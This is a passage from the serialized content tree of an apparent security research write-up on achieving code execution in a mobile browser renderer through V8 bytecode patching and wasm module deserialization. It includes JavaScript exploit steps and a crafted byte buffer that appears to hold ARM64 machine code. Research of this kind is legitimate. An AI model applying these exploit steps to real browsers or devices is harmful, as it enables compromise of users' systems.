0x03027a6c",{"type":24,"tag":90,"props":138101,"children":138102},{"style":114},[138103],{"type":29,"value":381},{"type":24,"tag":90,"props":138105,"children":138106},{"class":92,"line":248},[138107,138111,138116],{"type":24,"tag":90,"props":138108,"children":138109},{"style":636},[138110],{"type":29,"value":37017},{"type":24,"tag":90,"props":138112,"children":138113},{"style":349},[138114],{"type":29,"value":138115}," 0x393e71a",{"type":24,"tag":90,"props":138117,"children":138118},{"style":114},[138119],{"type":29,"value":381},{"type":24,"tag":90,"props":138121,"children":138122},{"class":92,"line":258},[138123,138127,138131,138135,138139],{"type":24,"tag":90,"props":138124,"children":138125},{"style":114},[138126],{"type":29,"value":48696},{"type":24,"tag":90,"props":138128,"children":138129},{"style":636},[138130],{"type":29,"value":50234},{"type":24,"tag":90,"props":138132,"children":138133},{"style":114},[138134],{"type":29,"value":1151},{"type":24,"tag":90,"props":138136,"children":138137},{"style":136},[138138],{"type":29,"value":53278},{"type":24,"tag":90,"props":138140,"children":138141},{"style":114},[138142],{"type":29,"value":1297},{"type":24,"tag":90,"props":138144,"children":138145},{"class":92,"line":272},[138146,138150,138154,138158,138162,138166],{"type":24,"tag":90,"props":138147,"children":138148},{"style":136},[138149],{"type":29,"value":103774},{"type":24,"tag":90,"props":138151,"children":138152},{"style":114},[138153],{"type":29,"value":226},{"type":24,"tag":90,"props":138155,"children":138156},{"style":108},[138157],{"type":29,"value":103783},{"type":24,"tag":90,"props":138159,"children":138160},{"style":114},[138161],{"type":29,"value":117},{"type":24,"tag":90,"props":138163,"children":138164},{"style":1085},[138165],{"type":29,"value":135151},{"type":24,"tag":90,"props":138167,"children":138168},{"style":114},[138169],{"type":29,"value":571},{"type":24,"tag":90,"props":138171,"children":138172},{"class":92,"line":281},[138173,138177,138181],{"type":24,"tag":90,"props":138174,"children":138175},{"style":636},[138176],{"type":29,"value":135163},{"type":24,"tag":90,"props":138178,"children":138179},{"style":136},[138180],{"type":29,"value":135168},{"type":24,"tag":90,"props":138182,"children":138183},{"style":114},[138184],{"type":29,"value":381},{"type":24,"tag":90,"props":138186,"children":138187},{"class":92,"line":384},[138188],{"type":24,"tag":90,"props":138189,"children":138190},{"style":114},[138191],{"type":29,"value":827},{"type":24,"tag":25,"props":138193,"children":138194},{},[138195,138197,138203,138205,138211,138213,138219,138221,138226,138228,138234,138236,138241,138242,138248],{"type":29,"value":138196},"Here, ",{"type":24,"tag":32,"props":138198,"children":138200},{"className":138199},[],[138201],{"type":29,"value":138202},"a1 + 0x03027a6c",{"type":29,"value":138204}," generates the bytes ",{"type":24,"tag":32,"props":138206,"children":138208},{"className":138207},[],[138209],{"type":29,"value":138210},"01 4b 6c 7a 02 03",{"type":29,"value":138212},", where ",{"type":24,"tag":32,"props":138214,"children":138216},{"className":138215},[],[138217],{"type":29,"value":138218},"0x6c",{"type":29,"value":138220}," is the ",{"type":24,"tag":32,"props":138222,"children":138224},{"className":138223},[],[138225],{"type":29,"value":134744},{"type":29,"value":138227}," opcode, ",{"type":24,"tag":32,"props":138229,"children":138231},{"className":138230},[],[138232],{"type":29,"value":138233},"0x027a",{"type":29,"value":138235}," is the function ID of ",{"type":24,"tag":32,"props":138237,"children":138239},{"className":138238},[],[138240],{"type":29,"value":134786},{"type":29,"value":8872},{"type":24,"tag":32,"props":138243,"children":138245},{"className":138244},[],[138246],{"type":29,"value":138247},"0x03",{"type":29,"value":138249}," is the register index holding its first argument.",{"type":24,"tag":25,"props":138251,"children":138252},{},[138253,138255,138260,138261,138266,138268,138273],{"type":29,"value":138254},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":24,"tag":32,"props":138256,"children":138258},{"className":138257},[],[138259],{"type":29,"value":134786},{"type":29,"value":13360},{"type":24,"tag":32,"props":138262,"children":138264},{"className":138263},[],[138265],{"type":29,"value":135754},{"type":29,"value":138267},". To avoid patching the bytecode again to invoke ",{"type":24,"tag":32,"props":138269,"children":138271},{"className":138270},[],[138272],{"type":29,"value":135754},{"type":29,"value":138274},", we can force Turbofan to compile the target function like this:",{"type":24,"tag":80,"props":138276,"children":138278},{"code":138277,"language":37431,"meta":7,"className":37429,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n func();\n}\n",[138279],{"type":24,"tag":32,"props":138280,"children":138281},{"__ignoreMap":7},[138282,138290,138350,138362],{"type":24,"tag":90,"props":138283,"children":138284},{"class":92,"line":93},[138285],{"type":24,"tag":90,"props":138286,"children":138287},{"style":252},[138288],{"type":29,"value":138289},"// %WasmTierUpFunction(func);\n",{"type":24,"tag":90,"props":138291,"children":138292},{"class":92,"line":200},[138293,138297,138301,138305,138309,138313,138317,138321,138325,138329,138334,138338,138342,138346],{"type":24,"tag":90,"props":138294,"children":138295},{"style":636},[138296],{"type":29,"value":5785},{"type":24,"tag":90,"props":138298,"children":138299},{"style":114},[138300],{"type":29,"value":1151},{"type":24,"tag":90,"props":138302,"children":138303},{"style":97},[138304],{"type":29,"value":895},{"type":24,"tag":90,"props":138306,"children":138307},{"style":136},[138308],{"type":29,"value":5790},{"type":24,"tag":90,"props":138310,"children":138311},{"style":120},[138312],{"type":29,"value":216},{"type":24,"tag":90,"props":138314,"children":138315},{"style":349},[138316],{"type":29,"value":5448},{"type":24,"tag":90,"props":138318,"children":138319},{"style":114},[138320],{"type":29,"value":3748},{"type":24,"tag":90,"props":138322,"children":138323},{"style":136},[138324],{"type":29,"value":6123},{"type":24,"tag":90,"props":138326,"children":138327},{"style":120},[138328],{"type":29,"value":11095},{"type":24,"tag":90,"props":138330,"children":138331},{"style":349},[138332],{"type":29,"value":138333}," 0x100000",{"type":24,"tag":90,"props":138335,"children":138336},{"style":114},[138337],{"type":29,"value":3748},{"type":24,"tag":90,"props":138339,"children":138340},{"style":136},[138341],{"type":29,"value":6123},{"type":24,"tag":90,"props":138343,"children":138344},{"style":120},[138345],{"type":29,"value":53093},{"type":24,"tag":90,"props":138347,"children":138348},{"style":114},[138349],{"type":29,"value":1297},{"type":24,"tag":90,"props":138351,"children":138352},{"class":92,"line":239},[138353,138358],{"type":24,"tag":90,"props":138354,"children":138355},{"style":108},[138356],{"type":29,"value":138357}," func",{"type":24,"tag":90,"props":138359,"children":138360},{"style":114},[138361],{"type":29,"value":236},{"type":24,"tag":90,"props":138363,"children":138364},{"class":92,"line":248},[138365],{"type":24,"tag":90,"props":138366,"children":138367},{"style":114},[138368],{"type":29,"value":827},{"type":24,"tag":25,"props":138370,"children":138371},{},[138372],{"type":29,"value":138373},"Finally, running this code on the device:",{"type":24,"tag":80,"props":138375,"children":138377},{"code":138376,"language":37431,"meta":7,"className":37429,"style":7},"(async () => {\n var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n var mod = new WebAssembly.Module(wasm_code);\n var inst = new WebAssembly.Instance(mod);\n var func = inst.exports.shell;\n\n // %WasmTierUpFunction(func);\n for (let i = 0; i \u003C 0x100000; i++) {\n func();\n }\n\n let r = bug(mod);\n result = (await r.next()).value;\n console.log(result);\n\n let result_bytes = new Uint8Array(result);\n console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[138378],{"type":24,"tag":32,"props":138379,"children":138380},{"__ignoreMap":7},[138381,138404,138432,138651,138718,138725,138768,138811,138850,138857,138865,138925,138937,138944,138951,138982,139025,139052,139059,139095,139158],{"type":24,"tag":90,"props":138382,"children":138383},{"class":92,"line":93},[138384,138388,138392,138396,138400],{"type":24,"tag":90,"props":138385,"children":138386},{"style":114},[138387],{"type":29,"value":117},{"type":24,"tag":90,"props":138389,"children":138390},{"style":97},[138391],{"type":29,"value":37961},{"type":24,"tag":90,"props":138393,"children":138394},{"style":114},[138395],{"type":29,"value":41513},{"type":24,"tag":90,"props":138397,"children":138398},{"style":97},[138399],{"type":29,"value":1315},{"type":24,"tag":90,"props":138401,"children":138402},{"style":114},[138403],{"type":29,"value":269},{"type":24,"tag":90,"props":138405,"children":138406},{"class":92,"line":200},[138407,138412,138416,138420,138424,138428],{"type":24,"tag":90,"props":138408,"children":138409},{"style":97},[138410],{"type":29,"value":138411}," var",{"type":24,"tag":90,"props":138413,"children":138414},{"style":136},[138415],{"type":29,"value":135284},{"type":24,"tag":90,"props":138417,"children":138418},{"style":120},[138419],{"type":29,"value":216},{"type":24,"tag":90,"props":138421,"children":138422},{"style":97},[138423],{"type":29,"value":33746},{"type":24,"tag":90,"props":138425,"children":138426},{"style":108},[138427],{"type":29,"value":135297},{"type":24,"tag":90,"props":138429,"children":138430},{"style":114},[138431],{"type":29,"value":135302},{"type":24,"tag":90,"props":138433,"children":138434},{"class":92,"line":239},[138435,138439,138443,138447,138451,138455,138459,138463,138467,138471,138475,138479,138483,138487,138491,138495,138499,138503,138507,138511,138515,138519,138523,138527,138531,138535,138539,138543,138547,138551,138555,138559,138563,138567,138571,138575,138579,138583,138587,138591,138595,138599,138603,138607,138611,138615,138619,138623,138627,138631,138635,138639,138643,138647],{"type":24,"tag":90,"props":138436,"children":138437},{"style":349},[138438],{"type":29,"value":136027},{"type":24,"tag":90,"props":138440,"children":138441},{"style":114},[138442],{"type":29,"value":133},{"type":24,"tag":90,"props":138444,"children":138445},{"style":349},[138446],{"type":29,"value":135319},{"type":24,"tag":90,"props":138448,"children":138449},{"style":114},[138450],{"type":29,"value":133},{"type":24,"tag":90,"props":138452,"children":138453},{"style":349},[138454],{"type":29,"value":135328},{"type":24,"tag":90,"props":138456,"children":138457},{"style":114},[138458],{"type":29,"value":133},{"type":24,"tag":90,"props":138460,"children":138461},{"style":349},[138462],{"type":29,"value":135337},{"type":24,"tag":90,"props":138464,"children":138465},{"style":114},[138466],{"type":29,"value":133},{"type":24,"tag":90,"props":138468,"children":138469},{"style":349},[138470],{"type":29,"value":534},{"type":24,"tag":90,"props":138472,"children":138473},{"style":114},[138474],{"type":29,"value":133},{"type":24,"tag":90,"props":138476,"children":138477},{"style":349},[138478],{"type":29,"value":6408},{"type":24,"tag":90,"props":138480,"children":138481},{"style":114},[138482],{"type":29,"value":133},{"type":24,"tag":90,"props":138484,"children":138485},{"style":349},[138486],{"type":29,"value":6408},{"type":24,"tag":90,"props":138488,"children":138489},{"style":114},[138490],{"type":29,"value":133},{"type":24,"tag":90,"props":138492,"children":138493},{"style":349},[138494],{"type":29,"value":6408},{"type":24,"tag":90,"props":138496,"children":138497},{"style":114},[138498],{"type":29,"value":133},{"type":24,"tag":90,"props":138500,"children":138501},{"style":349},[138502],{"type":29,"value":534},{"type":24,"tag":90,"props":138504,"children":138505},{"style":114},[138506],{"type":29,"value":133},{"type":24,"tag":90,"props":138508,"children":138509},{"style":349},[138510],{"type":29,"value":4051},{"type":24,"tag":90,"props":138512,"children":138513},{"style":114},[138514],{"type":29,"value":133},{"type":24,"tag":90,"props":138516,"children":138517},{"style":349},[138518],{"type":29,"value":534},{"type":24,"tag":90,"props":138520,"children":138521},{"style":114},[138522],{"type":29,"value":133},{"type":24,"tag":90,"props":138524,"children":138525},{"style":349},[138526],{"type":29,"value":135402},{"type":24,"tag":90,"props":138528,"children":138529},{"style":114},[138530],{"type":29,"value":133},{"type":24,"tag":90,"props":138532,"children":138533},{"style":349},[138534],{"type":29,"value":6408},{"type":24,"tag":90,"props":138536,"children":138537},{"style":114},[138538],{"type":29,"value":133},{"type":24,"tag":90,"props":138540,"children":138541},{"style":349},[138542],{"type":29,"value":6408},{"type":24,"tag":90,"props":138544,"children":138545},{"style":114},[138546],{"type":29,"value":133},{"type":24,"tag":90,"props":138548,"children":138549},{"style":349},[138550],{"type":29,"value":3817},{"type":24,"tag":90,"props":138552,"children":138553},{"style":114},[138554],{"type":29,"value":133},{"type":24,"tag":90,"props":138556,"children":138557},{"style":349},[138558],{"type":29,"value":3191},{"type":24,"tag":90,"props":138560,"children":138561},{"style":114},[138562],{"type":29,"value":133},{"type":24,"tag":90,"props":138564,"children":138565},{"style":349},[138566],{"type":29,"value":534},{"type":24,"tag":90,"props":138568,"children":138569},{"style":114},[138570],{"type":29,"value":133},{"type":24,"tag":90,"props":138572,"children":138573},{"style":349},[138574],{"type":29,"value":6408},{"type":24,"tag":90,"props":138576,"children":138577},{"style":114},[138578],{"type":29,"value":133},{"type":24,"tag":90,"props":138580,"children":138581},{"style":349},[138582],{"type":29,"value":56495},{"type":24,"tag":90,"props":138584,"children":138585},{"style":114},[138586],{"type":29,"value":133},{"type":24,"tag":90,"props":138588,"children":138589},{"style":349},[138590],{"type":29,"value":57710},{"type":24,"tag":90,"props":138592,"children":138593},{"style":114},[138594],{"type":29,"value":133},{"type":24,"tag":90,"props":138596,"children":138597},{"style":349},[138598],{"type":29,"value":534},{"type":24,"tag":90,"props":138600,"children":138601},{"style":114},[138602],{"type":29,"value":133},{"type":24,"tag":90,"props":138604,"children":138605},{"style":349},[138606],{"type":29,"value":4632},{"type":24,"tag":90,"props":138608,"children":138609},{"style":114},[138610],{"type":29,"value":133},{"type":24,"tag":90,"props":138612,"children":138613},{"style":349},[138614],{"type":29,"value":135328},{"type":24,"tag":90,"props":138616,"children":138617},{"style":114},[138618],{"type":29,"value":133},{"type":24,"tag":90,"props":138620,"children":138621},{"style":349},[138622],{"type":29,"value":135499},{"type":24,"tag":90,"props":138624,"children":138625},{"style":114},[138626],{"type":29,"value":133},{"type":24,"tag":90,"props":138628,"children":138629},{"style":349},[138630],{"type":29,"value":135508},{"type":24,"tag":90,"props":138632,"children":138633},{"style":114},[138634],{"type":29,"value":133},{"type":24,"tag":90,"props":138636,"children":138637},{"style":349},[138638],{"type":29,"value":135517},{"type":24,"tag":90,"props":138640,"children":138641},{"style":114},[138642],{"type":29,"value":133},{"type":24,"tag":90,"props":138644,"children":138645},{"style":349},[138646],{"type":29,"value":135517},{"type":24,"tag":90,"props":138648,"children":138649},{"style":114},[138650],{"type":29,"value":748},{"type":24,"tag":90,"props":138652,"children":138653},{"class":92,"line":248},[138654,138658,138662,138666,138670,138674,138678,138682,138686,138690,138694,138698,138702,138706,138710,138714],{"type":24,"tag":90,"props":138655,"children":138656},{"style":349},[138657],{"type":29,"value":136027},{"type":24,"tag":90,"props":138659,"children":138660},{"style":114},[138661],{"type":29,"value":133},{"type":24,"tag":90,"props":138663,"children":138664},{"style":349},[138665],{"type":29,"value":6408},{"type":24,"tag":90,"props":138667,"children":138668},{"style":114},[138669],{"type":29,"value":133},{"type":24,"tag":90,"props":138671,"children":138672},{"style":349},[138673],{"type":29,"value":91083},{"type":24,"tag":90,"props":138675,"children":138676},{"style":114},[138677],{"type":29,"value":133},{"type":24,"tag":90,"props":138679,"children":138680},{"style":349},[138681],{"type":29,"value":4051},{"type":24,"tag":90,"props":138683,"children":138684},{"style":114},[138685],{"type":29,"value":133},{"type":24,"tag":90,"props":138687,"children":138688},{"style":349},[138689],{"type":29,"value":534},{"type":24,"tag":90,"props":138691,"children":138692},{"style":114},[138693],{"type":29,"value":133},{"type":24,"tag":90,"props":138695,"children":138696},{"style":349},[138697],{"type":29,"value":3191},{"type":24,"tag":90,"props":138699,"children":138700},{"style":114},[138701],{"type":29,"value":133},{"type":24,"tag":90,"props":138703,"children":138704},{"style":349},[138705],{"type":29,"value":6408},{"type":24,"tag":90,"props":138707,"children":138708},{"style":114},[138709],{"type":29,"value":133},{"type":24,"tag":90,"props":138711,"children":138712},{"style":349},[138713],{"type":29,"value":135593},{"type":24,"tag":90,"props":138715,"children":138716},{"style":114},[138717],{"type":29,"value":748},{"type":24,"tag":90,"props":138719,"children":138720},{"class":92,"line":258},[138721],{"type":24,"tag":90,"props":138722,"children":138723},{"style":114},[138724],{"type":29,"value":136314},{"type":24,"tag":90,"props":138726,"children":138727},{"class":92,"line":272},[138728,138732,138736,138740,138744,138748,138752,138756,138760,138764],{"type":24,"tag":90,"props":138729,"children":138730},{"style":97},[138731],{"type":29,"value":138411},{"type":24,"tag":90,"props":138733,"children":138734},{"style":136},[138735],{"type":29,"value":73452},{"type":24,"tag":90,"props":138737,"children":138738},{"style":120},[138739],{"type":29,"value":216},{"type":24,"tag":90,"props":138741,"children":138742},{"style":97},[138743],{"type":29,"value":33746},{"type":24,"tag":90,"props":138745,"children":138746},{"style":136},[138747],{"type":29,"value":135628},{"type":24,"tag":90,"props":138749,"children":138750},{"style":114},[138751],{"type":29,"value":226},{"type":24,"tag":90,"props":138753,"children":138754},{"style":108},[138755],{"type":29,"value":87749},{"type":24,"tag":90,"props":138757,"children":138758},{"style":114},[138759],{"type":29,"value":117},{"type":24,"tag":90,"props":138761,"children":138762},{"style":136},[138763],{"type":29,"value":135645},{"type":24,"tag":90,"props":138765,"children":138766},{"style":114},[138767],{"type":29,"value":571},{"type":24,"tag":90,"props":138769,"children":138770},{"class":92,"line":281},[138771,138775,138779,138783,138787,138791,138795,138799,138803,138807],{"type":24,"tag":90,"props":138772,"children":138773},{"style":97},[138774],{"type":29,"value":138411},{"type":24,"tag":90,"props":138776,"children":138777},{"style":136},[138778],{"type":29,"value":135661},{"type":24,"tag":90,"props":138780,"children":138781},{"style":120},[138782],{"type":29,"value":216},{"type":24,"tag":90,"props":138784,"children":138785},{"style":97},[138786],{"type":29,"value":33746},{"type":24,"tag":90,"props":138788,"children":138789},{"style":136},[138790],{"type":29,"value":135628},{"type":24,"tag":90,"props":138792,"children":138793},{"style":114},[138794],{"type":29,"value":226},{"type":24,"tag":90,"props":138796,"children":138797},{"style":108},[138798],{"type":29,"value":135682},{"type":24,"tag":90,"props":138800,"children":138801},{"style":114},[138802],{"type":29,"value":117},{"type":24,"tag":90,"props":138804,"children":138805},{"style":136},[138806],{"type":29,"value":135691},{"type":24,"tag":90,"props":138808,"children":138809},{"style":114},[138810],{"type":29,"value":571},{"type":24,"tag":90,"props":138812,"children":138813},{"class":92,"line":384},[138814,138818,138822,138826,138830,138834,138838,138842,138846],{"type":24,"tag":90,"props":138815,"children":138816},{"style":97},[138817],{"type":29,"value":138411},{"type":24,"tag":90,"props":138819,"children":138820},{"style":136},[138821],{"type":29,"value":81839},{"type":24,"tag":90,"props":138823,"children":138824},{"style":120},[138825],{"type":29,"value":216},{"type":24,"tag":90,"props":138827,"children":138828},{"style":136},[138829],{"type":29,"value":135661},{"type":24,"tag":90,"props":138831,"children":138832},{"style":114},[138833],{"type":29,"value":226},{"type":24,"tag":90,"props":138835,"children":138836},{"style":136},[138837],{"type":29,"value":39702},{"type":24,"tag":90,"props":138839,"children":138840},{"style":114},[138841],{"type":29,"value":226},{"type":24,"tag":90,"props":138843,"children":138844},{"style":136},[138845],{"type":29,"value":135731},{"type":24,"tag":90,"props":138847,"children":138848},{"style":114},[138849],{"type":29,"value":381},{"type":24,"tag":90,"props":138851,"children":138852},{"class":92,"line":420},[138853],{"type":24,"tag":90,"props":138854,"children":138855},{"emptyLinePlaceholder":16},[138856],{"type":29,"value":245},{"type":24,"tag":90,"props":138858,"children":138859},{"class":92,"line":428},[138860],{"type":24,"tag":90,"props":138861,"children":138862},{"style":252},[138863],{"type":29,"value":138864}," // %WasmTierUpFunction(func);\n",{"type":24,"tag":90,"props":138866,"children":138867},{"class":92,"line":437},[138868,138873,138877,138881,138885,138889,138893,138897,138901,138905,138909,138913,138917,138921],{"type":24,"tag":90,"props":138869,"children":138870},{"style":636},[138871],{"type":29,"value":138872}," for",{"type":24,"tag":90,"props":138874,"children":138875},{"style":114},[138876],{"type":29,"value":1151},{"type":24,"tag":90,"props":138878,"children":138879},{"style":97},[138880],{"type":29,"value":895},{"type":24,"tag":90,"props":138882,"children":138883},{"style":136},[138884],{"type":29,"value":5790},{"type":24,"tag":90,"props":138886,"children":138887},{"style":120},[138888],{"type":29,"value":216},{"type":24,"tag":90,"props":138890,"children":138891},{"style":349},[138892],{"type":29,"value":5448},{"type":24,"tag":90,"props":138894,"children":138895},{"style":114},[138896],{"type":29,"value":3748},{"type":24,"tag":90,"props":138898,"children":138899},{"style":136},[138900],{"type":29,"value":6123},{"type":24,"tag":90,"props":138902,"children":138903},{"style":120},[138904],{"type":29,"value":11095},{"type":24,"tag":90,"props":138906,"children":138907},{"style":349},[138908],{"type":29,"value":138333},{"type":24,"tag":90,"props":138910,"children":138911},{"style":114},[138912],{"type":29,"value":3748},{"type":24,"tag":90,"props":138914,"children":138915},{"style":136},[138916],{"type":29,"value":6123},{"type":24,"tag":90,"props":138918,"children":138919},{"style":120},[138920],{"type":29,"value":53093},{"type":24,"tag":90,"props":138922,"children":138923},{"style":114},[138924],{"type":29,"value":1297},{"type":24,"tag":90,"props":138926,"children":138927},{"class":92,"line":574},[138928,138933],{"type":24,"tag":90,"props":138929,"children":138930},{"style":108},[138931],{"type":29,"value":138932}," func",{"type":24,"tag":90,"props":138934,"children":138935},{"style":114},[138936],{"type":29,"value":236},{"type":24,"tag":90,"props":138938,"children":138939},{"class":92,"line":606},[138940],{"type":24,"tag":90,"props":138941,"children":138942},{"style":114},[138943],{"type":29,"value":8257},{"type":24,"tag":90,"props":138945,"children":138946},{"class":92,"line":615},[138947],{"type":24,"tag":90,"props":138948,"children":138949},{"emptyLinePlaceholder":16},[138950],{"type":29,"value":245},{"type":24,"tag":90,"props":138952,"children":138953},{"class":92,"line":623},[138954,138958,138962,138966,138970,138974,138978],{"type":24,"tag":90,"props":138955,"children":138956},{"style":97},[138957],{"type":29,"value":10233},{"type":24,"tag":90,"props":138959,"children":138960},{"style":136},[138961],{"type":29,"value":137767},{"type":24,"tag":90,"props":138963,"children":138964},{"style":120},[138965],{"type":29,"value":216},{"type":24,"tag":90,"props":138967,"children":138968},{"style":108},[138969],{"type":29,"value":137776},{"type":24,"tag":90,"props":138971,"children":138972},{"style":114},[138973],{"type":29,"value":117},{"type":24,"tag":90,"props":138975,"children":138976},{"style":136},[138977],{"type":29,"value":135691},{"type":24,"tag":90,"props":138979,"children":138980},{"style":114},[138981],{"type":29,"value":571},{"type":24,"tag":90,"props":138983,"children":138984},{"class":92,"line":632},[138985,138989,138993,138997,139001,139005,139009,139013,139017,139021],{"type":24,"tag":90,"props":138986,"children":138987},{"style":136},[138988],{"type":29,"value":137812},{"type":24,"tag":90,"props":138990,"children":138991},{"style":120},[138992],{"type":29,"value":216},{"type":24,"tag":90,"props":138994,"children":138995},{"style":114},[138996],{"type":29,"value":1151},{"type":24,"tag":90,"props":138998,"children":138999},{"style":636},[139000],{"type":29,"value":34730},{"type":24,"tag":90,"props":139002,"children":139003},{"style":136},[139004],{"type":29,"value":137767},{"type":24,"tag":90,"props":139006,"children":139007},{"style":114},[139008],{"type":29,"value":226},{"type":24,"tag":90,"props":139010,"children":139011},{"style":108},[139012],{"type":29,"value":59390},{"type":24,"tag":90,"props":139014,"children":139015},{"style":114},[139016],{"type":29,"value":137841},{"type":24,"tag":90,"props":139018,"children":139019},{"style":136},[139020],{"type":29,"value":40968},{"type":24,"tag":90,"props":139022,"children":139023},{"style":114},[139024],{"type":29,"value":381},{"type":24,"tag":90,"props":139026,"children":139027},{"class":92,"line":669},[139028,139032,139036,139040,139044,139048],{"type":24,"tag":90,"props":139029,"children":139030},{"style":136},[139031],{"type":29,"value":103774},{"type":24,"tag":90,"props":139033,"children":139034},{"style":114},[139035],{"type":29,"value":226},{"type":24,"tag":90,"props":139037,"children":139038},{"style":108},[139039],{"type":29,"value":103783},{"type":24,"tag":90,"props":139041,"children":139042},{"style":114},[139043],{"type":29,"value":117},{"type":24,"tag":90,"props":139045,"children":139046},{"style":136},[139047],{"type":29,"value":11456},{"type":24,"tag":90,"props":139049,"children":139050},{"style":114},[139051],{"type":29,"value":571},{"type":24,"tag":90,"props":139053,"children":139054},{"class":92,"line":683},[139055],{"type":24,"tag":90,"props":139056,"children":139057},{"emptyLinePlaceholder":16},[139058],{"type":29,"value":245},{"type":24,"tag":90,"props":139060,"children":139061},{"class":92,"line":737},[139062,139066,139071,139075,139079,139083,139087,139091],{"type":24,"tag":90,"props":139063,"children":139064},{"style":97},[139065],{"type":29,"value":10233},{"type":24,"tag":90,"props":139067,"children":139068},{"style":136},[139069],{"type":29,"value":139070}," result_bytes",{"type":24,"tag":90,"props":139072,"children":139073},{"style":120},[139074],{"type":29,"value":216},{"type":24,"tag":90,"props":139076,"children":139077},{"style":97},[139078],{"type":29,"value":33746},{"type":24,"tag":90,"props":139080,"children":139081},{"style":108},[139082],{"type":29,"value":135297},{"type":24,"tag":90,"props":139084,"children":139085},{"style":114},[139086],{"type":29,"value":117},{"type":24,"tag":90,"props":139088,"children":139089},{"style":136},[139090],{"type":29,"value":11456},{"type":24,"tag":90,"props":139092,"children":139093},{"style":114},[139094],{"type":29,"value":571},{"type":24,"tag":90,"props":139096,"children":139097},{"class":92,"line":751},[139098,139102,139106,139110,139114,139118,139122,139126,139130,139134,139138,139142,139146,139150,139154],{"type":24,"tag":90,"props":139099,"children":139100},{"style":136},[139101],{"type":29,"value":103774},{"type":24,"tag":90,"props":139103,"children":139104},{"style":114},[139105],{"type":29,"value":226},{"type":24,"tag":90,"props":139107,"children":139108},{"style":108},[139109],{"type":29,"value":103783},{"type":24,"tag":90,"props":139111,"children":139112},{"style":114},[139113],{"type":29,"value":117},{"type":24,"tag":90,"props":139115,"children":139116},{"style":1085},[139117],{"type":29,"value":135864},{"type":24,"tag":90,"props":139119,"children":139120},{"style":120},[139121],{"type":29,"value":1714},{"type":24,"tag":90,"props":139123,"children":139124},{"style":136},[139125],{"type":29,"value":139070},{"type":24,"tag":90,"props":139127,"children":139128},{"style":114},[139129],{"type":29,"value":226},{"type":24,"tag":90,"props":139131,"children":139132},{"style":108},[139133],{"type":29,"value":135881},{"type":24,"tag":90,"props":139135,"children":139136},{"style":114},[139137],{"type":29,"value":117},{"type":24,"tag":90,"props":139139,"children":139140},{"style":1085},[139141],{"type":29,"value":135890},{"type":24,"tag":90,"props":139143,"children":139144},{"style":114},[139145],{"type":29,"value":172},{"type":24,"tag":90,"props":139147,"children":139148},{"style":120},[139149],{"type":29,"value":6767},{"type":24,"tag":90,"props":139151,"children":139152},{"style":1085},[139153],{"type":29,"value":135903},{"type":24,"tag":90,"props":139155,"children":139156},{"style":114},[139157],{"type":29,"value":571},{"type":24,"tag":90,"props":139159,"children":139160},{"class":92,"line":782},[139161],{"type":24,"tag":90,"props":139162,"children":139163},{"style":114},[139164],{"type":29,"value":103815},{"type":24,"tag":25,"props":139166,"children":139167},{},[139168],{"type":29,"value":139169},"We get the serialized bytes:",{"type":24,"tag":25,"props":139171,"children":139172},{},[139173],{"type":24,"tag":6301,"props":139174,"children":139177},{"alt":139175,"src":139176},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":24,"tag":25,"props":139179,"children":139180},{},[139181,139183,139188],{"type":29,"value":139182},"We can now embed this output into the original bytecode that calls ",{"type":24,"tag":32,"props":139184,"children":139186},{"className":139185},[],[139187],{"type":29,"value":134760},{"type":29,"value":78},{"type":24,"tag":80,"props":139190,"children":139192},{"code":139191,"language":37431,"meta":7,"className":37429,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n 0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n 213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n 255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 92, 50, 162, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n console.log('DeserializeWasmModule result: ' + result);\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n console.log(f);\n})();\n",[139193],{"type":24,"tag":32,"props":139194,"children":139195},{"__ignoreMap":7},[139196,139219,139246,139465,139532,139539,139566,139777,140028,140279,140503,140685,140906,140984,140991,141038,141081,141117,141160,141199,141226],{"type":24,"tag":90,"props":139197,"children":139198},{"class":92,"line":93},[139199,139203,139207,139211,139215],{"type":24,"tag":90,"props":139200,"children":139201},{"style":114},[139202],{"type":29,"value":117},{"type":24,"tag":90,"props":139204,"children":139205},{"style":97},[139206],{"type":29,"value":37961},{"type":24,"tag":90,"props":139208,"children":139209},{"style":114},[139210],{"type":29,"value":41513},{"type":24,"tag":90,"props":139212,"children":139213},{"style":97},[139214],{"type":29,"value":1315},{"type":24,"tag":90,"props":139216,"children":139217},{"style":114},[139218],{"type":29,"value":269},{"type":24,"tag":90,"props":139220,"children":139221},{"class":92,"line":200},[139222,139226,139230,139234,139238,139242],{"type":24,"tag":90,"props":139223,"children":139224},{"style":97},[139225],{"type":29,"value":38004},{"type":24,"tag":90,"props":139227,"children":139228},{"style":136},[139229],{"type":29,"value":135284},{"type":24,"tag":90,"props":139231,"children":139232},{"style":120},[